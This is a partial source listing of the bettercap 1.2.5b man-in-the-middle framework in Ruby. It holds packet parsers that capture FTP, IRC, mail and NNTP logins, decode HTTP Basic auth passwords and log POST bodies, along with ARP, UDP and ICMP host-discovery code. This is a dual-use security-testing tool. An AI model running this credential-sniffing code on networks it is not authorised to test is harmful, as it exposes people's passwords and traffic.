├── Gemfile ├── logo ├── logo.png ├── logo.psd └── Ming Imperial.TTF ├── .gitignore ├── lib ├── bettercap │ ├── banner │ ├── error.rb │ ├── version.rb │ ├── sniffer │ │ ├── parsers │ │ │ ├── ftp.rb │ │ │ ├── nntp.rb │ │ │ ├── irc.rb │ │ │ ├── mail.rb │ │ │ ├── post.rb │ │ │ ├── custom.rb │ │ │ ├── url.rb │ │ │ ├── base.rb │ │ │ ├── ntlmss.rb │ │ │ ├── https.rb │ │ │ └── httpauth.rb │ │ └── sniffer.rb │ ├── loader.rb │ ├── discovery │ │ ├── agents │ │ │ ├── udp.rb │ │ │ ├── arp.rb │ │ │ ├── icmp.rb │ │ │ └── base.rb │ │ └── thread.rb │ ├── firewalls │ │ ├── redirection.rb │ │ ├── base.rb │ │ ├── linux.rb │ │ └── osx.rb │ ├── factories │ │ ├── firewall.rb │ │ ├── spoofer.rb │ │ └── parser.rb │ ├── httpd │ │ └── server.rb │ ├── spoofers │ │ ├── none.rb │ │ ├── base.rb │ │ ├── arp.rb │ │ └── icmp.rb │ ├── shell.rb │ ├── update_checker.rb │ ├── proxy │ │ ├── modules │ │ │ ├── injecthtml.rb │ │ │ ├── injectcss.rb │ │ │ └── injectjs.rb │ │ ├── stream_logger.rb │ │ ├── certstore.rb │ │ ├── module.rb │ │ ├── request.rb │ │ ├── response.rb │ │ ├── streamer.rb │ │ ├── proxy.rb │ │ └── thread_pool.rb │ ├── network │ │ ├── arp_reader.rb │ │ ├── packet_queue.rb │ │ ├── network.rb │ │ └── target.rb │ ├── logger.rb │ ├── monkey │ │ └── packetfu │ │ │ └── utils.rb │ ├── context.rb │ └── options.rb └── bettercap.rb ├── Gemfile.lock ├── bettercap.gemspec ├── CONTRIBUTING.md ├── README.md ├── bin └── bettercap └── LICENSE.md /Gemfile: -------------------------------------------------------------------------------- 1 | source "https://rubygems.org" 2 | gemspec 3 | -------------------------------------------------------------------------------- /logo/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/breakthenet/bettercap/master/logo/logo.png -------------------------------------------------------------------------------- /logo/logo.psd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/breakthenet/bettercap/master/logo/logo.psd -------------------------------------------------------------------------------- /logo/Ming Imperial.TTF: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/breakthenet/bettercap/master/logo/Ming Imperial.TTF -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.swp 2 | *.swo 3 | *.gem 4 | *.sh 5 | .idea 6 | cert.crt 7 | cert.key 8 | cert.pem 9 | test_https_proxy.rb 10 | test_chunked.rb 11 | mkchangelog.rb 12 | .tags* 13 | .DS_Store 14 | -------------------------------------------------------------------------------- /lib/bettercap/banner: -------------------------------------------------------------------------------- 1 | _ _ _ 2 | | |__ ___| |_| |_ ___ _ __ ___ __ _ _ __ 3 | | '_ \ / _ \ __| __/ _ \ '__/ __/ _` | '_ \ 4 | | |_) | __/ |_| || __/ | | (_| (_| | |_) | 5 | |_.__/ \___|\__|\__\___|_| \___\__,_| .__/ 6 | |_| #VERSION# 7 | http://bettercap.org/ -------------------------------------------------------------------------------- /lib/bettercap/error.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | module BetterCap 13 | # Class used to distinghuish between handled and unhandled exceptions. 14 | class Error < StandardError; end 15 | end 16 | -------------------------------------------------------------------------------- /lib/bettercap/version.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | module BetterCap 13 | # Current version of bettercap. 14 | VERSION = '1.2.5b' 15 | # Program banner. 16 | BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}") 17 | end 18 | -------------------------------------------------------------------------------- /lib/bettercap/sniffer/parsers/ftp.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'bettercap/sniffer/parsers/base' 13 | 14 | module BetterCap 15 | module Parsers 16 | # FTP authentication parser. 17 | class Ftp < Base 18 | def initialize 19 | @filters = [ /(USER|PASS)\s+.+/ ] 20 | @name = 'FTP' 21 | end 22 | end 23 | end 24 | end 25 | -------------------------------------------------------------------------------- /lib/bettercap/sniffer/parsers/nntp.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'bettercap/sniffer/parsers/base' 13 | 14 | module BetterCap 15 | module Parsers 16 | # NNTP authentication parser. 17 | class Nntp < Base 18 | def initialize 19 | @filters = [ /AUTHINFO\s+(USER|PASS)\s+.+/i ] 20 | @name = 'NNTP' 21 | end 22 | end 23 | end 24 | end 25 | -------------------------------------------------------------------------------- /lib/bettercap/sniffer/parsers/irc.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'bettercap/sniffer/parsers/base' 13 | 14 | module BetterCap 15 | module Parsers 16 | # IRC protocol parser. 17 | class Irc < Base 18 | def initialize 19 | @filters = [ /NICK\s+.+/, /NS IDENTIFY\s+.+/, /nickserv :identify\s+.+/ ] 20 | @name = 'IRC' 21 | end 22 | end 23 | end 24 | end 25 | -------------------------------------------------------------------------------- /lib/bettercap/sniffer/parsers/mail.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'bettercap/sniffer/parsers/base' 13 | 14 | module BetterCap 15 | module Parsers 16 | # POP/IMAP authentication parser. 17 | class Mail < Base 18 | def initialize 19 | @filters = [ /(\d+ )?(auth|authenticate) ([a-z\-_0-9]+)/i ] 20 | @name = 'MAIL' 21 | end 22 | end 23 | end 24 | end 25 | -------------------------------------------------------------------------------- /Gemfile.lock: -------------------------------------------------------------------------------- 1 | PATH 2 | remote: . 3 | specs: 4 | bettercap (1.1.11b) 5 | colorize (~> 0.7.5) 6 | net-dns (~> 0.8.0) 7 | network_interface (~> 0.0.1) 8 | packetfu (~> 1.1.10) 9 | pcaprub (~> 0.12.0) 10 | 11 | GEM 12 | remote: https://rubygems.org/ 13 | specs: 14 | colorize (0.7.7) 15 | net-dns (0.8.0) 16 | network_interface (0.0.1) 17 | packetfu (1.1.11) 18 | network_interface (~> 0.0) 19 | pcaprub (~> 0.12) 20 | pcaprub (0.12.0) 21 | 22 | PLATFORMS 23 | ruby 24 | 25 | DEPENDENCIES 26 | bettercap! 27 | -------------------------------------------------------------------------------- /lib/bettercap/sniffer/parsers/post.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'bettercap/sniffer/parsers/base' 13 | require 'colorize' 14 | 15 | module BetterCap 16 | module Parsers 17 | # HTTP POST requests parser. 18 | class Post < Base 19 | def on_packet( pkt ) 20 | s = pkt.to_s 21 | if s =~ /POST\s+[^\s]+\s+HTTP.+/ 22 | StreamLogger.log_raw( pkt, "POST\n", pkt.payload ) 23 | end 24 | end 25 | end 26 | end 27 | end 28 | -------------------------------------------------------------------------------- /lib/bettercap/loader.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | BETTERCAP 3 | Author : Simone 'evilsocket' Margaritelli 4 | Email : evilsocket@gmail.com 5 | Blog : http://www.evilsocket.net/ 6 | This project is released under the GPL 3 license. 7 | =end 8 | require 'bettercap/error' 9 | 10 | module BetterCap 11 | # This class is responsible for dynamically loading modules. 12 | class Loader 13 | # Dynamically load a class given its +name+. 14 | # @see https://github.com/evilsocket/bettercap/issues/88 15 | def self.load(name) 16 | root = Kernel 17 | name.split('::').each do |part| 18 | root = root.const_get(part) 19 | end 20 | root 21 | end 22 | end 23 | end 24 | -------------------------------------------------------------------------------- /lib/bettercap/sniffer/parsers/custom.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'bettercap/sniffer/parsers/base' 13 | 14 | module BetterCap 15 | module Parsers 16 | # Parser used when the "--custom-parser EXPRESSION" command line 17 | # argument is specified. 18 | class Custom < Base 19 | # Initialize the parser given the +filter+ Regexp object. 20 | def initialize( filter ) 21 | @filters = [ filter ] 22 | @name = 'DATA' 23 | end 24 | end 25 | end 26 | end 27 | -------------------------------------------------------------------------------- /lib/bettercap/discovery/agents/udp.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | 13 | # Send UDP probes trying to filling the ARP table. 14 | module BetterCap 15 | module Discovery 16 | module Agents 17 | # Class responsible to send UDP probe packets to each possible IP on the network. 18 | class Udp < Discovery::Agents::Base 19 | private 20 | 21 | # Build an UDP packet for the specified +ip+ address. 22 | def get_probe( ip ) 23 | # send dummy udp packet, just to fill ARP table 24 | [ ip.to_s, 137, "\x10\x12\x85\x00\x00" ] 25 | end 26 | end 27 | end 28 | end 29 | end 30 | -------------------------------------------------------------------------------- /lib/bettercap/sniffer/parsers/url.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'bettercap/sniffer/parsers/base' 13 | require 'colorize' 14 | 15 | module BetterCap 16 | module Parsers 17 | # HTTP GET requests parser. 18 | class Url < Base 19 | def on_packet( pkt ) 20 | s = pkt.to_s 21 | if s =~ /GET\s+([^\s]+)\s+HTTP.+Host:\s+([^\s]+).+/m 22 | host = $2 23 | url = $1 24 | if not url =~ /.+\.(png|jpg|jpeg|bmp|gif|img|ttf|woff|css|js).*/i 25 | StreamLogger.log_raw( pkt, 'GET', "http://#{host}#{url}" ) 26 | end 27 | end 28 | end 29 | end 30 | end 31 | end 32 | -------------------------------------------------------------------------------- /lib/bettercap/sniffer/parsers/base.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | module BetterCap 13 | module Parsers 14 | # Base class for BetterCap::Parsers. 15 | class Base 16 | # Initialize this parser. 17 | def initialize 18 | @filters = [] 19 | @name = 'BASE' 20 | end 21 | 22 | # This method will be called from the BetterCap::Sniffer for each 23 | # incoming packet ( +pkt ) and will apply the parser filter to it. 24 | def on_packet( pkt ) 25 | s = pkt.to_s 26 | @filters.each do |filter| 27 | if s =~ filter 28 | StreamLogger.log_raw( pkt, @name, pkt.payload ) 29 | end 30 | end 31 | end 32 | end 33 | end 34 | end 35 | -------------------------------------------------------------------------------- /lib/bettercap/discovery/agents/arp.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | 13 | # Parse the ARP table searching for new hosts. 14 | module BetterCap 15 | module Discovery 16 | module Agents 17 | # Class responsible of sending ARP probes to each possible IP on the network. 18 | class Arp < Discovery::Agents::Base 19 | private 20 | 21 | # Build a PacketFu::ARPPacket instance for the specified +ip+ address. 22 | def get_probe( ip ) 23 | pkt = PacketFu::ARPPacket.new 24 | 25 | pkt.eth_saddr = pkt.arp_saddr_mac = @ifconfig[:eth_saddr] 26 | pkt.eth_daddr = 'ff:ff:ff:ff:ff:ff' 27 | pkt.arp_daddr_mac = '00:00:00:00:00:00' 28 | pkt.arp_saddr_ip = @ifconfig[:ip_saddr] 29 | pkt.arp_daddr_ip = ip.to_s 30 | 31 | pkt 32 | end 33 | end 34 | end 35 | end 36 | end 37 | -------------------------------------------------------------------------------- /lib/bettercap/sniffer/parsers/ntlmss.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'bettercap/sniffer/parsers/base' 13 | require 'colorize' 14 | 15 | module BetterCap 16 | module Parsers 17 | # NTLMSS traffic parser. 18 | class Ntlmss < Base 19 | # Convert binary +data+ into human readable hexadecimal representation. 20 | def bin2hex( data ) 21 | hex = '' 22 | data.each_byte do |byte| 23 | if /[[:print:]]/ === byte.chr 24 | hex += byte.chr 25 | else 26 | hex += "\\x" + byte.to_s(16) 27 | end 28 | end 29 | hex 30 | end 31 | 32 | def on_packet( pkt ) 33 | s = pkt.to_s 34 | if s =~ /NTLMSSP\x00\x03\x00\x00\x00.+/ 35 | # TODO: Parse NTLMSSP packet. 36 | StreamLogger.log_raw( pkt, 'NTLMSS', bin2hex( pkt.payload ) ) 37 | end 38 | end 39 | end 40 | end 41 | end 42 | -------------------------------------------------------------------------------- /lib/bettercap/firewalls/redirection.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | module BetterCap 13 | module Firewalls 14 | # This class represents a firewall port redirection rule. 15 | class Redirection 16 | # Network interface name. 17 | attr_reader :interface 18 | # Protocol name. 19 | attr_reader :protocol 20 | # Source port. 21 | attr_reader :src_port 22 | # Destination address. 23 | attr_reader :dst_address 24 | # Destionation port. 25 | attr_reader :dst_port 26 | 27 | # Create the redirection rule for the specified +interface+ and +protocol+. 28 | # Redirect *:+src_port+ to +dst_address+:+dst_port+ 29 | def initialize( interface, protocol, src_port, dst_address, dst_port ) 30 | @interface = interface 31 | @protocol = protocol 32 | @src_port = src_port 33 | @dst_address = dst_address 34 | @dst_port = dst_port 35 | end 36 | end 37 | end 38 | end 39 | -------------------------------------------------------------------------------- /lib/bettercap/sniffer/parsers/https.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'bettercap/sniffer/parsers/base' 13 | require 'colorize' 14 | require 'resolv' 15 | 16 | module BetterCap 17 | module Parsers 18 | # HTTPS connections parser. 19 | class Https < Base 20 | @@prev = nil 21 | 22 | def on_packet( pkt ) 23 | begin 24 | if pkt.tcp_dst == 443 25 | # the DNS resolution could take a while and block other parsers. 26 | Thread.new do 27 | begin 28 | hostname = Resolv.getname pkt.ip_daddr 29 | rescue 30 | hostname = pkt.ip_daddr.to_s 31 | end 32 | 33 | if @@prev.nil? or @@prev != hostname 34 | StreamLogger.log_raw( pkt, 'HTTPS', "https://#{hostname}/" ) 35 | @@prev = hostname 36 | end 37 | end 38 | end 39 | rescue 40 | end 41 | end 42 | end 43 | end 44 | end 45 | -------------------------------------------------------------------------------- /bettercap.gemspec: -------------------------------------------------------------------------------- 1 | require './lib/bettercap/version' 2 | 3 | Gem::Specification.new do |gem| 4 | gem.name = %q{bettercap} 5 | gem.version = BetterCap::VERSION 6 | gem.license = 'GPL3' 7 | gem.description = %q{A complete, modular, portable and easily extensible MITM framework.} 8 | gem.summary = %q{A complete, modular, portable and easily extensible MITM framework.} 9 | gem.required_ruby_version = '>= 1.9' 10 | 11 | 12 | gem.authors = ['Simone Margaritelli'] 13 | gem.email = %q{evilsocket@gmail.com} 14 | gem.homepage = %q{http://github.com/evilsocket/bettercap} 15 | 16 | gem.add_dependency( 'colorize', '~> 0.7.5' ) 17 | gem.add_dependency( 'packetfu', '~> 1.1.10' ) 18 | gem.add_dependency( 'pcaprub', '~> 0.12.0' ) 19 | gem.add_dependency( 'network_interface', '~> 0.0.1' ) 20 | gem.add_dependency( 'net-dns', '~> 0.8.0' ) 21 | 22 | gem.files = Dir.glob("*.md") + 23 | Dir.glob("Rakefile") + 24 | Dir.glob("lib/**/*") + 25 | Dir.glob("bin/**/*") 26 | 27 | gem.require_paths = ["lib"] 28 | 29 | gem.executables = %w(bettercap) 30 | gem.rdoc_options = ["--charset=UTF-8"] 31 | end 32 | -------------------------------------------------------------------------------- /lib/bettercap/factories/firewall.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'bettercap/error' 13 | require 'bettercap/firewalls/osx' 14 | require 'bettercap/firewalls/linux' 15 | 16 | module BetterCap 17 | module Factories 18 | # Factory class responsible of creating the correct object for the current 19 | # operating system of the user. 20 | class Firewall 21 | @@instance = nil 22 | # Save and return an instance of the appropriate BetterCap::Firewalls object. 23 | def self.get 24 | return @@instance unless @@instance.nil? 25 | 26 | if RUBY_PLATFORM =~ /darwin/ 27 | @@instance = Firewalls::OSX.new 28 | elsif RUBY_PLATFORM =~ /linux/ 29 | @@instance = Firewalls::Linux.new 30 | else 31 | raise BetterCap::Error, 'Unsupported operating system' 32 | end 33 | 34 | @@instance 35 | end 36 | # Clear the instance of the BetterCap::Firewalls object. 37 | def self.clear 38 | @@instance = nil 39 | end 40 | end 41 | end 42 | end 43 | -------------------------------------------------------------------------------- /lib/bettercap/httpd/server.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'webrick' 13 | 14 | require 'bettercap/logger' 15 | 16 | module BetterCap 17 | module HTTPD 18 | # Simple HTTP server class used to serve static assets when needed. 19 | class Server 20 | # Initialize the HTTP server with the specified tcp +port+ using 21 | # +path+ as the document root. 22 | def initialize( port = 8081, path = './' ) 23 | @port = port 24 | @path = path 25 | @server = WEBrick::HTTPServer.new( 26 | Port: @port, 27 | DocumentRoot: @path, 28 | Logger: WEBrick::Log.new("/dev/null"), 29 | AccessLog: [] 30 | ) 31 | end 32 | 33 | # Start the server. 34 | def start 35 | Logger.info "Starting HTTPD on port #{@port} and path #{@path} ..." 36 | @thread = Thread.new { 37 | @server.start 38 | } 39 | end 40 | 41 | # Stop the server. 42 | def stop 43 | Logger.info 'Stopping HTTPD ...' 44 | 45 | @server.stop 46 | @thread.join 47 | end 48 | end 49 | end 50 | end 51 | -------------------------------------------------------------------------------- /lib/bettercap/discovery/agents/icmp.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | 13 | # Send a broadcast ping trying to filling the ARP table. 14 | module BetterCap 15 | module Discovery 16 | module Agents 17 | # Class responsible to do a ping-sweep on the network. 18 | class Icmp 19 | # Create a thread which will perform a ping-sweep on the network in order 20 | # to populate the ARP cache with active targets. 21 | def initialize( ctx ) 22 | Factories::Firewall.get.enable_icmp_bcast(true) 23 | 24 | # TODO: Use the real broadcast address for this network. 25 | 3.times do 26 | pkt = PacketFu::ICMPPacket.new 27 | 28 | pkt.eth_saddr = ctx.ifconfig[:eth_saddr] 29 | pkt.eth_daddr = 'ff:ff:ff:ff:ff:ff' 30 | pkt.ip_saddr = ctx.ifconfig[:ip_saddr] 31 | pkt.ip_daddr = '255.255.255.255' 32 | pkt.icmp_type = 8 33 | pkt.icmp_code = 0 34 | pkt.payload = "ABCD" 35 | pkt.recalc 36 | 37 | ctx.packets.push(pkt) 38 | end 39 | end 40 | end 41 | end 42 | end 43 | end 44 | -------------------------------------------------------------------------------- /lib/bettercap/spoofers/none.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'bettercap/spoofers/base' 13 | require 'bettercap/logger' 14 | 15 | module BetterCap 16 | module Spoofers 17 | # Dummy class used to disable spoofing. 18 | class None < Base 19 | # Initialize the non-spoofing class. 20 | def initialize 21 | Logger.debug 'Spoofing disabled.' 22 | 23 | @ctx = Context.get 24 | @gateway = nil 25 | @thread = nil 26 | @running = false 27 | 28 | update_gateway! 29 | end 30 | 31 | # Start the "NONE" spoofer. 32 | def start 33 | stop() if @running 34 | @running = true 35 | 36 | @thread = Thread.new { fake_spoofer } 37 | end 38 | 39 | # Stop the "NONE" spoofer. 40 | def stop 41 | return unless @running 42 | 43 | @running = false 44 | begin 45 | @thread.exit 46 | rescue 47 | end 48 | end 49 | 50 | private 51 | 52 | # Main fake spoofer loop. 53 | def fake_spoofer 54 | spoof_loop(1) { |target| } 55 | end 56 | 57 | end 58 | end 59 | end 60 | -------------------------------------------------------------------------------- /lib/bettercap/shell.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | BETTERCAP 3 | Author : Simone 'evilsocket' Margaritelli 4 | Email : evilsocket@gmail.com 5 | Blog : http://www.evilsocket.net/ 6 | This project is released under the GPL 3 license. 7 | =end 8 | require 'bettercap/error' 9 | 10 | module BetterCap 11 | # Class responsible of executing various shell commands. 12 | module Shell 13 | class << self 14 | # Execute +command+ and return its output. 15 | # Raise +BetterCap::Error+ if the return code is not 0. 16 | def execute(command) 17 | r = '' 18 | 10.times do 19 | begin 20 | r=%x(#{command}) 21 | if $? != 0 22 | raise BetterCap::Error, "Error, executing #{command}" 23 | end 24 | break 25 | rescue Errno::EMFILE => e 26 | Logger.debug "Retrying command '#{command}' due to Errno::EMFILE error ..." 27 | sleep 1 28 | end 29 | end 30 | r 31 | end 32 | 33 | # Get the +iface+ network interface configuration. 34 | def ifconfig(iface = '') 35 | self.execute( "LANG=en && ifconfig #{iface}" ) 36 | end 37 | 38 | # Get the ARP table cached on this computer. 39 | def arp 40 | self.execute( 'LANG=en && arp -a -n' ) 41 | end 42 | end 43 | end 44 | end 45 | -------------------------------------------------------------------------------- /lib/bettercap/sniffer/parsers/httpauth.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'bettercap/sniffer/parsers/base' 13 | require 'colorize' 14 | require 'base64' 15 | 16 | module BetterCap 17 | module Parsers 18 | # HTTP basic and digest authentication parser. 19 | class Httpauth < Base 20 | def on_packet( pkt ) 21 | lines = pkt.to_s.split("\n") 22 | hostname = nil 23 | path = nil 24 | 25 | lines.each do |line| 26 | if line =~ /[A-Z]+\s+(\/[^\s]+)\s+HTTP\/\d\.\d/ 27 | path = $1 28 | 29 | elsif line =~ /Host:\s*([^\s]+)/i 30 | hostname = $1 31 | 32 | elsif line =~ /Authorization:\s*Basic\s+([^\s]+)/i 33 | encoded = $1 34 | decoded = Base64.decode64(encoded) 35 | user, pass = decoded.split(':') 36 | 37 | StreamLogger.log_raw( pkt, 'HTTP BASIC AUTH', "http://#{hostname}#{path} - username=#{user} password=#{pass}".yellow ) 38 | 39 | elsif line =~ /Authorization:\s*Digest\s+(.+)/i 40 | StreamLogger.log_raw( pkt, 'HTTP DIGEST AUTH', "http://#{hostname}#{path}\n#{$1}".yellow ) 41 | end 42 | end 43 | end 44 | end 45 | end 46 | end 47 | -------------------------------------------------------------------------------- /lib/bettercap/discovery/agents/base.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | 13 | # Base class for discovery agents. 14 | module BetterCap 15 | module Discovery 16 | module Agents 17 | # Base class for BetterCap::Discovery::Agents. 18 | class Base 19 | # Initialize the agent using the +ctx+ BetterCap::Context instance. 20 | def initialize( ctx ) 21 | @ctx = ctx 22 | @ifconfig = ctx.ifconfig 23 | @local_ip = @ifconfig[:ip_saddr] 24 | 25 | net = ip = @ifconfig[:ip4_obj] 26 | # loop each ip in our subnet and push it to the queue 27 | while net.include?ip 28 | # rescanning the gateway could cause an issue when the 29 | # gateway itself has multiple interfaces ( LAN, WAN ... ) 30 | if ip != ctx.gateway and ip != @local_ip 31 | packet = get_probe(ip) 32 | @ctx.packets.push(packet) 33 | end 34 | 35 | ip = ip.succ 36 | end 37 | end 38 | 39 | private 40 | 41 | # Each Discovery::Agent::Base derived class should implement this method. 42 | def get_probe( ip ) 43 | Logger.warn "#{self.class.name}#get_probe not implemented!" 44 | end 45 | end 46 | end 47 | end 48 | end 49 | -------------------------------------------------------------------------------- /lib/bettercap/factories/spoofer.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'bettercap/error' 13 | 14 | module BetterCap 15 | module Factories 16 | # Factory class responsible for listing, parsing and creating BetterCap::Spoofers 17 | # object instances. 18 | class Spoofer 19 | class << self 20 | # Return a list of available spoofers. 21 | def available 22 | avail = [] 23 | Dir.foreach( File.dirname(__FILE__) + '/../spoofers/') do |file| 24 | if file =~ /.rb/ and file != 'base.rb' 25 | avail << file.gsub('.rb','').upcase 26 | end 27 | end 28 | avail 29 | end 30 | 31 | # Create an instance of a BetterCap::Spoofers object given its +name+. 32 | # Will raise a BetterCap::Error if +name+ is not valid. 33 | def get_by_name(name) 34 | raise BetterCap::Error, "Invalid spoofer name '#{name}'!" unless available? name 35 | 36 | name.downcase! 37 | 38 | require_relative "../spoofers/#{name}" 39 | 40 | BetterCap::Loader.load("BetterCap::Spoofers::#{name.capitalize}").new 41 | end 42 | 43 | private 44 | 45 | # Return true if +name+ is a valid spoofer name, otherwise false. 46 | def available?(name) 47 | available.include?(name) 48 | end 49 | end 50 | end 51 | end 52 | end 53 | -------------------------------------------------------------------------------- /lib/bettercap/update_checker.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'bettercap/version' 13 | require 'bettercap/error' 14 | require 'bettercap/logger' 15 | require 'net/http' 16 | require 'json' 17 | 18 | module BetterCap 19 | # This class is responsible for fetching the latest version of 20 | # bettercap and check if a new one is available. 21 | class UpdateChecker 22 | # Check if a new version is available, printing the results 23 | # in human readable form. 24 | def self.check 25 | ver = self.get_latest_version 26 | if self.vton( BetterCap::VERSION ) < self.vton( ver ) 27 | Logger.warn "New version '#{ver}' available!" 28 | else 29 | Logger.info 'You are running the latest version.' 30 | end 31 | rescue Exception => e 32 | Logger.error("Error '#{e.class}' while checking for updates: #{e.message}") 33 | end 34 | 35 | # Convert a version string +v+ to a number to be used for comparation. 36 | def self.vton v 37 | vi = 0.0 38 | v.split('.').reverse.each_with_index do |e,i| 39 | vi += ( e.to_i * 10**i ) - ( if e =~ /[\d+]b/ then 0.5 else 0 end ) 40 | end 41 | vi 42 | end 43 | 44 | # Fetch the latest program version from rubygems.org API. 45 | def self.get_latest_version 46 | Logger.info 'Checking for updates ...' 47 | 48 | api = URI('https://rubygems.org/api/v1/versions/bettercap/latest.json') 49 | response = Net::HTTP.get_response(api) 50 | 51 | case response 52 | when Net::HTTPSuccess 53 | json = JSON.parse(response.body) 54 | else 55 | raise response.message 56 | end 57 | 58 | return json['version'] 59 | end 60 | end 61 | end 62 | 